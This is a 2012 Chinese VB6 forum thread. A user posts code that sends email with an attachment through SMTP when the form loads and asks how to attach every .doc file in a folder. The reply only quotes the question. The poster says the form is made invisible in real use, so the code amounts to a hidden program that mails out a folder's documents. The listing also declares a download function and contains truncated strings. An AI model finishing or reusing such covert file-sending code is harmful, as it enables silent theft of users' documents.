注册 登录
编程论坛 VB6论坛

如何选定文件夹下所有文件

woaiguaig 发布于 2012-03-29 09:10, 408 次点击
自己在网上找了一段自动发邮件的代码,但是觉得不满意,如何能将指定文件夹下的所有.doc文件添加为邮件的附件
代码如下:   请问高手们如何改变红色的那句代码呢?
Option Explicit
Dim objEmail As Object
Dim strName As String
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Public Function Fsyj(StrFsyx As String, StrFsmm As String, StrFsbt As String, StrFsnr As String, StrFsfw As String, StrJsyx As String) As Boolean
strName = "http://schemas.
Set objEmail = CreateObject("CDO.Message")
    Fsyj = False
    objEmail.From = StrFsyx '发送邮件地址
    objEmail.To = StrJsyx '接受邮件地址
    objEmail.Subject = StrFsbt '邮件标题
    objEmail.Textbody = StrFsnr '邮件内容
    objEmail.AddAttachment "d:\动画要义.ppt" '附件
    objEmail.Configuration.Fields.Item(strName & "sendusing") = 2
    objEmail.Configuration.Fields.Item(strName & "smtpserver") = StrFsfw '发送邮箱的服务器
    objEmail.Configuration.Fields.Item(strName & "smtpserverport") = 25
    objEmail.Configuration.Fields.Item(strName & "smtpauthenticate") = 1
    objEmail.Configuration.Fields.Item(strName & "sendusername") = Left(StrFsyx, InStr(StrFsyx, "@") - 1)
    objEmail.Configuration.Fields.Item(strName & "sendpassword") = StrFsmm '发送邮件邮箱密码
    objEmail.Configuration.Fields.Update
    objEmail.Send
    Fsyj = True
End Function
Private Sub Form_Load()
Dim k As Boolean
k = Fsyj("发件邮箱地址--注意用126邮箱,如果是163邮箱,下面有一个参数要改成smtp., "发件邮箱密码", "主题", "邮件内容", "smtp., "收件邮箱地址")
MsgBox "OK"
End
End Sub
实际应用时将 MsgBox "OK" 删除,将窗体设为不可见。
1 回复
#2
Artless2012-03-29 23:57
以下是引用woaiguaig在2012-3-29 09:10:52的发言:

自己在网上找了一段自动发邮件的代码,但是觉得不满意,如何能将指定文件夹下的所有.doc文件添加为邮件的附件
代码如下:   请问高手们如何改变红色的那句代码呢?
Option Explicit
Dim objEmail As Object
Dim strName As String
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Public Function Fsyj(StrFsyx As String, StrFsmm As String, StrFsbt As String, StrFsnr As String, StrFsfw As String, StrJsyx As String) As Boolean
strName = "http://schemas.
Set objEmail = CreateObject("CDO.Message")
    Fsyj = False
    objEmail.From = StrFsyx '发送邮件地址
    objEmail.To = StrJsyx '接受邮件地址
    objEmail.Subject = StrFsbt '邮件标题
    objEmail.Textbody = StrFsnr '邮件内容
    objEmail.AddAttachment "d:\动画要义.ppt" '附件
    objEmail.Configuration.Fields.Item(strName & "sendusing") = 2
    objEmail.Configuration.Fields.Item(strName & "smtpserver") = StrFsfw '发送邮箱的服务器
    objEmail.Configuration.Fields.Item(strName & "smtpserverport") = 25
    objEmail.Configuration.Fields.Item(strName & "smtpauthenticate") = 1
    objEmail.Configuration.Fields.Item(strName & "sendusername") = Left(StrFsyx, InStr(StrFsyx, "@") - 1)
    objEmail.Configuration.Fields.Item(strName & "sendpassword") = StrFsmm '发送邮件邮箱密码
    objEmail.Configuration.Fields.Update
    objEmail.Send
    Fsyj = True
End Function
Private Sub Form_Load()
Dim k As Boolean
k = Fsyj("发件邮箱地址--注意用126邮箱,如果是163邮箱,下面有一个参数要改成smtp., "发件邮箱密码", "主题", "邮件内容", "smtp., "收件邮箱地址")
MsgBox "OK"
End
End Sub
实际应用时将 MsgBox "OK" 删除,将窗体设为不可见。
1